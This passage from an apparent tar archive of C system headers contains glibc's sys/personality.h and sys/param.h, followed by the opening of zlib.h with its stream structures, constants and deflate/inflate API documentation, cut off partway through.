option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* Taken verbatim from Linux 2.6 (include/linux/personality.h). */ #ifndef _SYS_PERSONALITY_H #define _SYS_PERSONALITY_H 1 #include <features.h> /* Flags for bug emulation. These occupy the top three bytes. */ enum { UNAME26 = 0x0020000, ADDR_NO_RANDOMIZE = 0x0040000, FDPIC_FUNCPTRS = 0x0080000, MMAP_PAGE_ZERO = 0x0100000, ADDR_COMPAT_LAYOUT = 0x0200000, READ_IMPLIES_EXEC = 0x0400000, ADDR_LIMIT_32BIT = 0x0800000, SHORT_INODE = 0x1000000, WHOLE_SECONDS = 0x2000000, STICKY_TIMEOUTS = 0x4000000, ADDR_LIMIT_3GB = 0x8000000 }; /* Personality types. These go in the low byte. Avoid using the top bit, it will conflict with error returns. */ enum { PER_LINUX = 0x0000, PER_LINUX_32BIT = 0x0000 | ADDR_LIMIT_32BIT, PER_LINUX_FDPIC = 0x0000 | FDPIC_FUNCPTRS, PER_SVR4 = 0x0001 | STICKY_TIMEOUTS | MMAP_PAGE_ZERO, PER_SVR3 = 0x0002 | STICKY_TIMEOUTS | SHORT_INODE, PER_SCOSVR3 = 0x0003 | STICKY_TIMEOUTS | WHOLE_SECONDS | SHORT_INODE, PER_OSR5 = 0x0003 | STICKY_TIMEOUTS | WHOLE_SECONDS, PER_WYSEV386 = 0x0004 | STICKY_TIMEOUTS | SHORT_INODE, PER_ISCR4 = 0x0005 | STICKY_TIMEOUTS, PER_BSD = 0x0006, PER_SUNOS = 0x0006 | STICKY_TIMEOUTS, PER_XENIX = 0x0007 | STICKY_TIMEOUTS | SHORT_INODE, PER_LINUX32 = 0x0008, PER_LINUX32_3GB = 0x0008 | ADDR_LIMIT_3GB, PER_IRIX32 = 0x0009 | STICKY_TIMEOUTS, /* IRIX5 32-bit */ PER_IRIXN32 = 0x000a | STICKY_TIMEOUTS, /* IRIX6 new 32-bit */ PER_IRIX64 = 0x000b | STICKY_TIMEOUTS, /* IRIX6 64-bit */ PER_RISCOS = 0x000c, PER_SOLARIS = 0x000d | STICKY_TIMEOUTS, PER_UW7 = 0x000e | STICKY_TIMEOUTS | MMAP_PAGE_ZERO, PER_OSF4 = 0x000f, PER_HPUX = 0x0010, PER_MASK = 0x00ff, }; __BEGIN_DECLS /* Set different ABIs (personalities). */ extern int personality (unsigned long int __persona) __THROW; __END_DECLS #endif /* sys/personality.h */ sys/param.h 0000644 00000006114 15246445046 0006647 0 ustar 00 /* Compatibility header for old-style Unix parameters and limits. Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_PARAM_H #define _SYS_PARAM_H 1 #define __need_NULL #include <stddef.h> #include <sys/types.h> #include <limits.h> #include <endian.h> /* Define BYTE_ORDER et al. */ #include <signal.h> /* Define NSIG. */ /* This file defines some things in system-specific ways. */ #include <bits/param.h> /* BSD names for some <limits.h> values. */ #define NBBY CHAR_BIT #if !defined NGROUPS && defined NGROUPS_MAX # define NGROUPS NGROUPS_MAX #endif #if !defined MAXSYMLINKS && defined SYMLOOP_MAX # define MAXSYMLINKS SYMLOOP_MAX #endif #if !defined CANBSIZ && defined MAX_CANON # define CANBSIZ MAX_CANON #endif #if !defined MAXPATHLEN && defined PATH_MAX # define MAXPATHLEN PATH_MAX #endif #if !defined NOFILE && defined OPEN_MAX # define NOFILE OPEN_MAX #endif #if !defined MAXHOSTNAMELEN && defined HOST_NAME_MAX # define MAXHOSTNAMELEN HOST_NAME_MAX #endif #ifndef NCARGS # ifdef ARG_MAX # define NCARGS ARG_MAX # else /* ARG_MAX is unlimited, but we define NCARGS for BSD programs that want to compare against some fixed limit. */ # define NCARGS INT_MAX # endif #endif /* Magical constants. */ #ifndef NOGROUP # define NOGROUP 65535 /* Marker for empty group set member. */ #endif #ifndef NODEV # define NODEV ((dev_t) -1) /* Non-existent device. */ #endif /* Unit of `st_blocks'. */ #ifndef DEV_BSIZE # define DEV_BSIZE 512 #endif /* Bit map related macros. */ #define setbit(a,i) ((a)[(i)/NBBY] |= 1<<((i)%NBBY)) #define clrbit(a,i) ((a)[(i)/NBBY] &= ~(1<<((i)%NBBY))) #define isset(a,i) ((a)[(i)/NBBY] & (1<<((i)%NBBY))) #define isclr(a,i) (((a)[(i)/NBBY] & (1<<((i)%NBBY))) == 0) /* Macros for counting and rounding. */ #ifndef howmany # define howmany(x, y) (((x) + ((y) - 1)) / (y)) #endif #ifdef __GNUC__ # define roundup(x, y) (__builtin_constant_p (y) && powerof2 (y) \ ? (((x) + (y) - 1) & ~((y) - 1)) \ : ((((x) + ((y) - 1)) / (y)) * (y))) #else # define roundup(x, y) ((((x) + ((y) - 1)) / (y)) * (y)) #endif #define powerof2(x) ((((x) - 1) & (x)) == 0) /* Macros for min/max. */ #define MIN(a,b) (((a)<(b))?(a):(b)) #define MAX(a,b) (((a)>(b))?(a):(b)) #endif /* sys/param.h */ zlib.h 0000644 00000274005 15246445046 0005677 0 ustar 00 /* zlib.h -- interface of the 'zlib' general purpose compression library version 1.2.11, January 15th, 2017 Copyright (C) 1995-2017 Jean-loup Gailly and Mark Adler This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. Jean-loup Gailly Mark Adler jloup@gzip.org madler@alumni.caltech.edu The data format used by the zlib library is described by RFCs (Request for Comments) 1950 to 1952 in the files http://tools.ietf.org/html/rfc1950 (zlib format), rfc1951 (deflate format) and rfc1952 (gzip format). */ #ifndef ZLIB_H #define ZLIB_H #include "zconf.h" #ifdef __cplusplus extern "C" { #endif #define ZLIB_VERSION "1.2.11" #define ZLIB_VERNUM 0x12b0 #define ZLIB_VER_MAJOR 1 #define ZLIB_VER_MINOR 2 #define ZLIB_VER_REVISION 11 #define ZLIB_VER_SUBREVISION 0 /* The 'zlib' compression library provides in-memory compression and decompression functions, including integrity checks of the uncompressed data. This version of the library supports only one compression method (deflation) but other algorithms will be added later and will have the same stream interface. Compression can be done in a single step if the buffers are large enough, or can be done by repeated calls of the compression function. In the latter case, the application must provide more input and/or consume the output (providing more output space) before each call. The compressed data format used by default by the in-memory functions is the zlib format, which is a zlib wrapper documented in RFC 1950, wrapped around a deflate stream, which is itself documented in RFC 1951. The library also supports reading and writing files in gzip (.gz) format with an interface similar to that of stdio using the functions that start with "gz". The gzip format is different from the zlib format. gzip is a gzip wrapper, documented in RFC 1952, wrapped around a deflate stream. This library can optionally read and write gzip and raw deflate streams in memory as well. The zlib format was designed to be compact and fast for use in memory and on communications channels. The gzip format was designed for single- file compression on file systems, has a larger header than zlib to maintain directory information, and uses a different, slower check method than zlib. The library does not install any signal handler. The decoder checks the consistency of the compressed data, so the library should never crash even in the case of corrupted input. */ typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size)); typedef void (*free_func) OF((voidpf opaque, voidpf address)); struct internal_state; typedef struct z_stream_s { z_const Bytef *next_in; /* next input byte */ uInt avail_in; /* number of bytes available at next_in */ uLong total_in; /* total number of input bytes read so far */ Bytef *next_out; /* next output byte will go here */ uInt avail_out; /* remaining free space at next_out */ uLong total_out; /* total number of bytes output so far */ z_const char *msg; /* last error message, NULL if no error */ struct internal_state FAR *state; /* not visible by applications */ alloc_func zalloc; /* used to allocate the internal state */ free_func zfree; /* used to free the internal state */ voidpf opaque; /* private data object passed to zalloc and zfree */ int data_type; /* best guess about the data type: binary or text for deflate, or the decoding state for inflate */ uLong adler; /* Adler-32 or CRC-32 value of the uncompressed data */ uLong reserved; /* reserved for future use */ } z_stream; typedef z_stream FAR *z_streamp; /* gzip header information passed to and from zlib routines. See RFC 1952 for more details on the meanings of these fields. */ typedef struct gz_header_s { int text; /* true if compressed data believed to be text */ uLong time; /* modification time */ int xflags; /* extra flags (not used when writing a gzip file) */ int os; /* operating system */ Bytef *extra; /* pointer to extra field or Z_NULL if none */ uInt extra_len; /* extra field length (valid if extra != Z_NULL) */ uInt extra_max; /* space at extra (only when reading header) */ Bytef *name; /* pointer to zero-terminated file name or Z_NULL */ uInt name_max; /* space at name (only when reading header) */ Bytef *comment; /* pointer to zero-terminated comment or Z_NULL */ uInt comm_max; /* space at comment (only when reading header) */ int hcrc; /* true if there was or will be a header crc */ int done; /* true when done reading gzip header (not used when writing a gzip file) */ } gz_header; typedef gz_header FAR *gz_headerp; /* The application must update next_in and avail_in when avail_in has dropped to zero. It must update next_out and avail_out when avail_out has dropped to zero. The application must initialize zalloc, zfree and opaque before calling the init function. All other fields are set by the compression library and must not be updated by the application. The opaque value provided by the application will be passed as the first parameter for calls of zalloc and zfree. This can be useful for custom memory management. The compression library attaches no meaning to the opaque value. zalloc must return Z_NULL if there is not enough memory for the object. If zlib is used in a multi-threaded application, zalloc and zfree must be thread safe. In that case, zlib is thread-safe. When zalloc and zfree are Z_NULL on entry to the initialization function, they are set to internal routines that use the standard library functions malloc() and free(). On 16-bit systems, the functions zalloc and zfree must be able to allocate exactly 65536 bytes, but will not be required to allocate more than this if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS, pointers returned by zalloc for objects of exactly 65536 bytes *must* have their offset normalized to zero. The default allocation function provided by this library ensures this (see zutil.c). To reduce memory requirements and avoid any allocation of 64K objects, at the expense of compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h). The fields total_in and total_out can be used for statistics or progress reports. After compression, total_in holds the total size of the uncompressed data and may be saved for use by the decompressor (particularly if the decompressor wants to decompress everything in a single step). */ /* constants */ #define Z_NO_FLUSH 0 #define Z_PARTIAL_FLUSH 1 #define Z_SYNC_FLUSH 2 #define Z_FULL_FLUSH 3 #define Z_FINISH 4 #define Z_BLOCK 5 #define Z_TREES 6 /* Allowed flush values; see deflate() and inflate() below for details */ #define Z_OK 0 #define Z_STREAM_END 1 #define Z_NEED_DICT 2 #define Z_ERRNO (-1) #define Z_STREAM_ERROR (-2) #define Z_DATA_ERROR (-3) #define Z_MEM_ERROR (-4) #define Z_BUF_ERROR (-5) #define Z_VERSION_ERROR (-6) /* Return codes for the compression/decompression functions. Negative values * are errors, positive values are used for special but normal events. */ #define Z_NO_COMPRESSION 0 #define Z_BEST_SPEED 1 #define Z_BEST_COMPRESSION 9 #define Z_DEFAULT_COMPRESSION (-1) /* compression levels */ #define Z_FILTERED 1 #define Z_HUFFMAN_ONLY 2 #define Z_RLE 3 #define Z_FIXED 4 #define Z_DEFAULT_STRATEGY 0 /* compression strategy; see deflateInit2() below for details */ #define Z_BINARY 0 #define Z_TEXT 1 #define Z_ASCII Z_TEXT /* for compatibility with 1.2.2 and earlier */ #define Z_UNKNOWN 2 /* Possible values of the data_type field for deflate() */ #define Z_DEFLATED 8 /* The deflate compression method (the only one supported in this version) */ #define Z_NULL 0 /* for initializing zalloc, zfree, opaque */ #define zlib_version zlibVersion() /* for compatibility with versions < 1.0.2 */ /* basic functions */ ZEXTERN const char * ZEXPORT zlibVersion OF((void)); /* The application can compare zlibVersion and ZLIB_VERSION for consistency. If the first character differs, the library code actually used is not compatible with the zlib.h header file used by the application. This check is automatically made by deflateInit and inflateInit. */ /* ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level)); Initializes the internal stream state for compression. The fields zalloc, zfree and opaque must be initialized before by the caller. If zalloc and zfree are set to Z_NULL, deflateInit updates them to use default allocation functions. The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9: 1 gives best speed, 9 gives best compression, 0 gives no compression at all (the input data is simply copied a block at a time). Z_DEFAULT_COMPRESSION requests a default compromise between speed and compression (currently equivalent to level 6). deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_STREAM_ERROR if level is not a valid compression level, or Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible with the version assumed by the caller (ZLIB_VERSION). msg is set to null if there is no error message. deflateInit does not perform any compression: this will be done by deflate(). */ ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush)); /* deflate compresses as much data as possible, and stops when the input buffer becomes empty or the output buffer becomes full. It may introduce some output latency (reading input without producing any output) except when forced to flush. The detailed semantics are as follows. deflate performs one or both of the following actions: - Compress more input starting at next_in and update next_in and avail_in accordingly. If not all input can be processed (because there is not enough room in the output buffer), next_in and avail_in are updated and processing will resume at this point for the next call of deflate(). - Generate more output starting at next_out and update next_out and avail_out accordingly. This action is forced if the parameter flush is non zero. Forcing flush frequently degrades the compression ratio, so this parameter should be set only when necessary. Some output may be provided even if flush is zero. Before the call of deflate(), the application should ensure that at least one of the actions is possible, by providing more input and/or consuming more output, and updating avail_in or avail_out accordingly; avail_out should never be zero before the call. The application can consume the compressed output when it wants, for example when the output buffer is full (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK and with zero avail_out, it must be called again after making room in the output buffer because there might be more output pending. See deflatePending(), which can be used if desired to determine whether or not there is more ouput in that case. Normally the parameter flush is set to Z_NO_FLUSH, which allows deflate to decide how much data to accumulate before producing output, in order to maximize compression. If the parameter flush is set to Z_SYNC_FLUSH, all pending output is flushed to the output buffer and the output is aligned on a byte boundary, so that the decompressor can get all input data available so far. (In particular avail_in is zero after the call if enough output space has been provided before the call.) Flushing may degrade compression for some compression algorithms and so it should be used only when necessary. This completes the current deflate block and follows it with an empty stored block that is three bits plus filler bits to the next byte, followed by four bytes (00 00 ff ff). If flush is set to Z_PARTIAL_FLUSH, all pending output is flushed to the output buffer, but the output is not aligned to a byte boundary. All of the input data so far will be available to the decompressor, as for Z_SYNC_FLUSH. This completes the current deflate block and follows it with an empty fixed codes block that is 10 bits long. This assures that enough bytes are output in order for the decompressor to finish the block before the empty fixed codes block. If flush is set to Z_BLOCK, a deflate block is completed and emitted, as for Z_SYNC_FLUSH, but the output is not aligned on a byte boundary, and up to seven bits of the current block are held to be written as the next byte after the next deflate block is completed. In this case, the decompressor may not be provided enough bits at this point in order to complete decompression of the data provided so far to the compressor. It may need to wait for the next block to be emitted. This is for advanced applications that need to control the emission of deflate blocks. If flush is set to Z_FULL_FLUSH, all output is flushed as with Z_SYNC_FLUSH, and the compression state is reset so that decompression can restart from this point if previous compressed data has been damaged or if random access is desired. Using Z_FULL_FLUSH too often can seriously degrade compression. If deflate returns with avail_out == 0, this function must be called again with the same value of the flush parameter and more output space (updated avail_out), until the flush is complete (deflate returns with non-zero avail_out). In the case of a Z_FULL_FLUSH or Z_SYNC_FLUSH, make sure that avail_out is greater than six to avoid repeated flush markers due to avail_out == 0 on return. If the parameter flush is set to Z_FINISH, pending input is processed, pending output is flushed and deflate returns with Z_STREAM_END if there was enough output space. If deflate returns with Z_OK or Z_BUF_ERROR, this function must be called again with Z_FINISH and more output space (updated avail_out) but no more input data, until it returns with Z_STREAM_END or an error. After deflate has returned Z_STREAM_END, the only possible operations on the stream are deflateReset or deflateEnd. Z_FINISH can be used in the first deflate call after deflateInit if all the compression is to be done in a single step. In order to complete in one call, avail_out must be at least the value returned by deflateBound (see below). Then deflate is guaranteed to return Z_STREAM_END. If not enough output space is provided, deflate will not return Z_STREAM_END, and it must be called again as described above. deflate() sets strm->adler to the Adler-32 checksum of all input read so far (that is, total_in bytes). If a gzip stream is being generated, then strm->adler will be the CRC-32 checksum of the input read so far. (See deflateInit2 below.) deflate() may update strm->data_type if it can make a good guess about the input data type (Z_BINARY or Z_TEXT). If in doubt, the data is considered binary. This field is only for information purposes and does not affect the compression algorithm in any manner. deflate() returns Z_OK if some progress has been made (more input processed or more output produced), Z_STREAM_END if all input has been consumed and all output has been produced (only when flush is set to Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example if next_in or next_out was Z_NULL or the state was inadvertently written over by the application), or Z_BUF_ERROR if no progress is possible (for example avail_in or avail_out was zero). Note that Z_BUF_ERROR is not fatal, and deflate() can be called again with more input and more output space to continue compressing. */ ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm)); /* All dynamically allocated data structures for this stream are freed. This function discards any unprocessed input and does not flush any pending output. deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state was inconsistent, Z_DATA_ERROR if the stream was freed prematurely (some input or output was discarded). In the error case, msg may be set but then points to a static string (which must not be deallocated). */ /* ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm)); Initializes the internal stream state for decompression. The fields next_in, avail_in, zalloc, zfree and opaque must be initialized before by the caller. In the current version of inflate, the provided input is not read or consumed. The allocation of a sliding window will be deferred to the first call of inflate (if the decompression does not complete on the first call). If zalloc and zfree are set to Z_NULL, inflateInit updates them to use default allocation functions. inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_VERSION_ERROR if the zlib library version is incompatible with the version assumed by the caller, or Z_STREAM_ERROR if the parameters are invalid, such as a null pointer to the structure. msg is set to null if there is no error message. inflateInit does not perform any decompression. Actual decompression will be done by inflate(). So next_in, and avail_in, next_out, and avail_out are unused and unchanged. The current implementation of inflateInit() does not process any header information -- that is deferred until inflate() is called. */ ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush)); /* inflate decompresses as much data as possible, and stops when the input buffer becomes empty or the output buffer becomes full. It may introduce some output latency (reading input without producing any output) except when forced to flush. The detailed semantics are as follows. inflate performs one or both of the following actions: - Decompress more input starting at next_in and update next_in and avail_in accordingly. If not all input can be processed (because there is not enough room in the output buffer), then next_in and avail_in are updated accordingly, and processing will resume at this point for the next call of inflate(). - Generate more output starting at next_out and update next_out and avail_out accordingly. inflate() provides as much output as possible, until there is no more input data or no more space in the output buffer (see below about the flush parameter). Before the call of inflate(), the application should ensure that at least one of the actions is possible, by providing more input and/or consuming more output, and updating the next_* and avail_* values accordingly. If the caller of inflate() does not provide both available input and available output space, it is possible that there will be no progress made. The application can consume the uncompressed output when it wants, for example when the output buffer is full (avail_out == 0), or after each call of inflate(). If inflate returns Z_OK and with zero avail_out, it must be called again after making room in the output buffer because there might be more output pending. The flush parameter of inflate() can be Z_NO_FLUSH, Z_SYNC_FLUSH, Z_FINISH, Z_BLOCK, or Z_TREES. Z_SYNC_FLUSH requests that inflate() flush as much output as possible to the output buffer. Z_BLOCK requests that inflate() stop if and when it gets to the next deflate block boundary. When decoding the zlib or gzip format, this will cause inflate() to return immediately after the header and before the first block. When doing a raw inflate, inflate() will go ahead and process the first block, and will return when it gets to the end of that block, or when it runs out of data. The Z_BLOCK option assists in appending to or combining deflate streams. To assist in this, on return inflate() always sets strm->data_type to the number of unused bits in the last byte taken from strm->next_in, plus 64 if inflate() is currently decoding the last block in the deflate stream, plus 128 if inflate() returned immediately after decoding an end-of-block code or decoding the complete header up to just before the first byte of the deflate stream. The end-of-block will not be indicated until all of the uncompressed data from that block has been written to strm->next_out. The number of unused bits may in general be greater than seven, except when bit 7 of data_type is set, in which case the number of unused bits will be less than eight. data_type is set as noted here every time inflate() returns for all flush options, and so can be used to determine the amount of currently consumed input in bits. The Z_TREES option behaves as Z_BLOCK does, but it also returns when the end of each deflate block header is reached, before any actual data in that block is decoded. This allows the caller to determine the length of the deflate block header for later use in random access within a deflate block. 256 is added to the value of strm->data_type when inflate() returns immediately after reaching the end of the deflate block header. inflate() should normally be called until it returns Z_STREAM_END or an error. However if all decompression is to be performed in a single step (a single call of inflate), the parameter flush should be set to Z_FINISH. In this case all pending input is processed and all pending output is flushed; avail_out must be large enough to hold all of the uncompressed data for the operation to complete. (The size of the uncompressed data may have been saved by the compressor for this purpose.) The use of Z_FINISH is not required to perform an inflation in one step. However it may be used to inform inflate that a faster approach can be used for the single inflate() call. Z_FINISH also informs inflate to not maintain a sliding window if the stream completes, which reduces inflate's memory footprint. If the stream does not complete, either because not all of the stream is provided or not enough output space is provided, then a sliding window will be allocated and inflate() can be called again to continue the operation as if Z_NO_FLUSH had been used. In this implementation, inflate() always flushes as much output as possible to the output buffer, and always uses the faster approach on the first call. So the effects of the flush parameter in this implementation are on the return value of inflate() as noted below, when inflate() returns early when Z_BLOCK or Z_TREES is used, and when inflate() avoids the allocation of memory for a sliding window when Z_FINISH is used. If a preset dictionary is needed after this call (see inflateSetDictionary below), inflate sets strm->adler to the Adler-32 checksum of the dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise it sets strm->adler to the Adler-32 checksum of all output produced so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or an error code as described below. At the end of the stream, inflate() checks that its computed Adler-32 checksum is equal to that saved by the compressor and returns Z_STREAM_END only if the checksum is correct. inflate() can decompress and check either zlib-wrapped or gzip-wrapped deflate data. The header type is detected automatically, if requested when initializing with inflateInit2(). Any information contained in the gzip header is not retained unless inflateGetHeader() is used. When processing gzip-wrapped deflate data, strm->adler32 is set to the CRC-32 of the output produced so far. The CRC-32 is checked against the gzip trailer, as is the uncompressed length, modulo 2^32. inflate() returns Z_OK if some progress has been made (more input processed or more output produced), Z_STREAM_END if the end of the compressed data has been reached and all uncompressed output has been produced, Z_NEED_DICT if a preset dictionary is needed at this point, Z_DATA_ERROR if the input data was corrupted (input stream not conforming to the zlib format or incorrect check value, in which case strm->msg points to a string with a more specific error), Z_STREAM_ERROR if the stream structure was inconsistent (for example next_in or next_out was Z_NULL, or the state was inadvertently written over by the application), Z_MEM_ERROR if there was not enough memory, Z_BUF_ERROR if no progress was possible or if there was not enough room in the output buffer when Z_FINISH is used. Note that Z_BUF_ERROR is not fatal, and inflate() can be called again with more input and more output space to continue decompressing. If Z_DATA_ERROR is returned, the application may then call inflateSync() to look for a good compression block if a partial recovery of the data is to be attempted. */ ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm)); /* All dynamically allocated data structures for this stream are freed. This function discards any unprocessed input and does not flush any pending output. inflateEnd returns Z_OK if success, or Z_STREAM_ERROR if the stream state was inconsistent. */ /* Advanced functions */ /* The following functions are needed only in some special applications. */ /* ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm, int level, int method, int windowBits, int memLevel, int strategy)); This is another version of deflateInit with more compression options. The fields next_in, zalloc, zfree and opaque must be initialized before by the caller. The method parameter is the compression method. It must be Z_DEFLATED in this version of the library. The windowBits parameter is the base two logarithm of the window size (the size of the history buffer). It should be in the range 8..15 for this version of the library. Larger values of this parameter result in better compression at the expense of memory usage. The default value is 15 if deflateInit is used instead. For the current implementation of deflate(), a windowBits value of 8 (a window size of 256 bytes) is not supported. As a result, a request for 8 will result in 9 (a 512-byte window). In that case, providing 8 to inflateInit2() will result in an error when the zlib header with 9 is checked against the initialization of inflate(). The remedy is to not use 8 with deflateInit2() with this initialization, or at least in that case use 9 with inflateInit2(). windowBits can also be -8..-15 for raw deflate. In this case, -windowBits determines the window size. deflate() will then generate raw deflate data with no zlib header or trailer, and will not compute a check value. windowBits can also be greater than 15 for optional gzip encoding. Add 16 to windowBits to write a simple gzip header and trailer around the compressed data instead of a zlib wrapper. The gzip header will have no file name, no extra data, no comment, no modification time (set to zero), no header crc, and the operating system will be set to the appropriate value, if the operating system was determined at compile time. If a gzip stream is being written, strm->adler is a CRC-32 instead of an Adler-32. For raw deflate or gzip encoding, a request for a 256-byte window is rejected as invalid, since only the zlib header provides a means of transmitting the window size to the decompressor. The memLevel parameter specifies how much memory should be allocated for the internal compression state. memLevel=1 uses minimum memory but is slow and reduces compression ratio; memLevel=9 uses maximum memory for optimal speed. The default value is 8. See zconf.h for total memory usage as a function of windowBits and memLevel. The strategy parameter is used to tune the compression algorithm. Use the value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a filter (or predictor), Z_HUFFMAN_ONLY to force Huffman encoding only (no string match), or Z_RLE to limit match distances to one (run-length encoding). Filtered data consists mostly of small values with a somewhat random distribution. In this case, the compression algorithm is tuned to compress them better. The effect of Z_FILTERED is to force more Huffman coding and less string matching; it is somewhat intermediate between Z_DEFAULT_STRATEGY and Z_HUFFMAN_ONLY. Z_RLE is designed to be almost as fast as Z_HUFFMAN_ONLY, but give better compression for PNG image data. The strategy parameter only affects the compression ratio but not the correctness of the compressed output even if it is not set appropriately. Z_FIXED prevents the use of dynamic Huffman codes, allowing for a simpler decoder for special applications. deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_STREAM_ERROR if any parameter is invalid (such as an invalid method), or Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible with the version assumed by the caller (ZLIB_VERSION). msg is set to null if there is no error message. deflateInit2 does not perform any compression: this will be done by deflate(). */ ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm, const Bytef *dictionary, uInt dictLength)); /* Initializes the compression dictionary from the given byte sequence without producing any compressed output. When using the zlib format, this function must be called immediately after deflateInit, deflateInit2 or deflateReset, and before any call of deflate. When doing raw deflate, this function must be called either before any call of deflate, or immediately after the completion of a deflate block, i.e. after all input has been consumed and all output has been delivered when using any of the flush options Z_BLOCK, Z_PARTIAL_FLUSH, Z_SYNC_FLUSH, or Z_FULL_FLUSH. The compressor and decompressor must use exactly the same dictionary (see inflateSetDictionary). The dictionary should consist of strings (byte sequences) that are likely to be encountered later in the data to be compressed, with the most commonly used strings preferably put towards the end of the dictionary. Using a dictionary is most useful when the data to be compressed is short and can be predicted with good accuracy; the data can then be compressed better than with the default empty dictionary. Depending on the size of the compression data structures selected by deflateInit or deflateInit2, a part of the dictionary may in effect be discarded, for example if the dictionary is larger than the window size provided in deflateInit or deflateInit2. Thus the strings most likely to be useful should be put at the end of the dictionary, not at the front. In addition, the current implementation of deflate will use at most the window size minus 262 bytes of the provided dictionary. Upon return of this function, strm->adler is set to the Adler-32 value of the dictionary; the decompressor may later use this value to determine which dictionary has been used by the compressor. (The Adler-32 value applies to the whole dictionary even if only a subset of the dictionary is actually used by the compressor.) If a raw deflate was requested, then the Adler-32 value is not computed and strm->adler is not set. deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a parameter is invalid (e.g. dictionary being Z_NULL) or the stream state is inconsistent (for example if deflate has already been called for this stream or if not at a block boundary for raw deflate). deflateSetDictionary does not perform any compression: this will be done by deflate(). */ ZEXTERN int ZEXPORT deflateGetDictionary OF((z_streamp strm, Bytef *dictionary, uInt *dictLength)); /* Returns the sliding dictionary being maintained by deflate. dictLength is set to the number of bytes in the dictionary, and that many bytes are copied to dictionary. dictionary must have enough space, where 32768 bytes is always enough. If deflateGetDictionary() is called with dictionary equal to Z_NULL, then only the dictionary length is returned, and nothing is copied. Similary, if dictLength is Z_NULL, then it is not set. deflateGetDictionary() may return a length less than the window size, even when more than the window size in input has been provided. It may return up to 258 bytes less in that case, due to how zlib's implementation of deflate manages the sliding window and lookahead for matches, where matches can be up to 258 bytes long. If the application needs the last window-size bytes of input, then that would need to be saved by the application outside of zlib. deflateGetDictionary returns Z_OK on success, or Z_STREAM_ERROR if the stream state is inconsistent. */ ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest, z_streamp source)); /* Sets the destination stream as a complete copy of the source stream. This function can be useful when several compression strategies will be tried, for example when there are several ways of pre-processing the input data with a filter. The streams that will be discarded should then be freed by calling deflateEnd. Note that deflateCopy duplicates the internal compression state which can be quite large, so this strategy is slow and can consume lots of memory. deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_STREAM_ERROR if the source stream state was inconsistent (such as zalloc being Z_NULL). msg is left unchanged in both source and destination. */ ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm)); /* This function is equivalent to deflateEnd followed by deflateInit, but does not free and reallocate the internal compression state. The stream will leave the compression level and any other attributes that may have been set unchanged. deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source stream state was inconsistent (such as zalloc or state being Z_NULL). */ ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm, int level, int strategy)); /* Dynamically update the compression level and compression strategy. The interpretation of level and strategy is as in deflateInit2(). This can be used to switch between compression and straight copy of the input data, or to switch to a different kind of input data requiring a different strategy. If the compression approach (which is a function of the level) or the strategy is changed, and if there have been any deflate() calls since the state was initialized or reset, then the input available so far is compressed with the old level and strategy using deflate(strm, Z_BLOCK). There are three approaches for the compression levels 0, 1..3, and 4..9 respectively. The new level and strategy will take effect at the next call of deflate(). If a deflate(strm, Z_BLOCK) is performed by deflateParams(), and it does not have enough output space to complete, then the parameter change will not take effect. In this case, deflateParams() can be called again with the same parameters and more output space to try again. In order to assure a change in the parameters on the first try, the deflate stream should be flushed using deflate() with Z_BLOCK or other flush request until strm.avail_out is not zero, before calling deflateParams(). Then no more input data should be provided before the deflateParams() call. If this is done, the old level and strategy will be applied to the data compressed before deflateParams(), and the new level and strategy will be applied to the the data compressed after deflateParams(). deflateParams returns Z_OK on success, Z_STREAM_ERROR if the source stream state was inconsistent or if a parameter was invalid, or Z_BUF_ERROR if there was not enough output space to complete the compression of the available input data before a change in the strategy or approach. Note that in the case of a Z_BUF_ERROR, the parameters are not changed. A return value of Z_BUF_ERROR is not fatal, in which case deflateParams() can be retried with more output space. */ ZEXTERN int ZEXPORT deflateTune 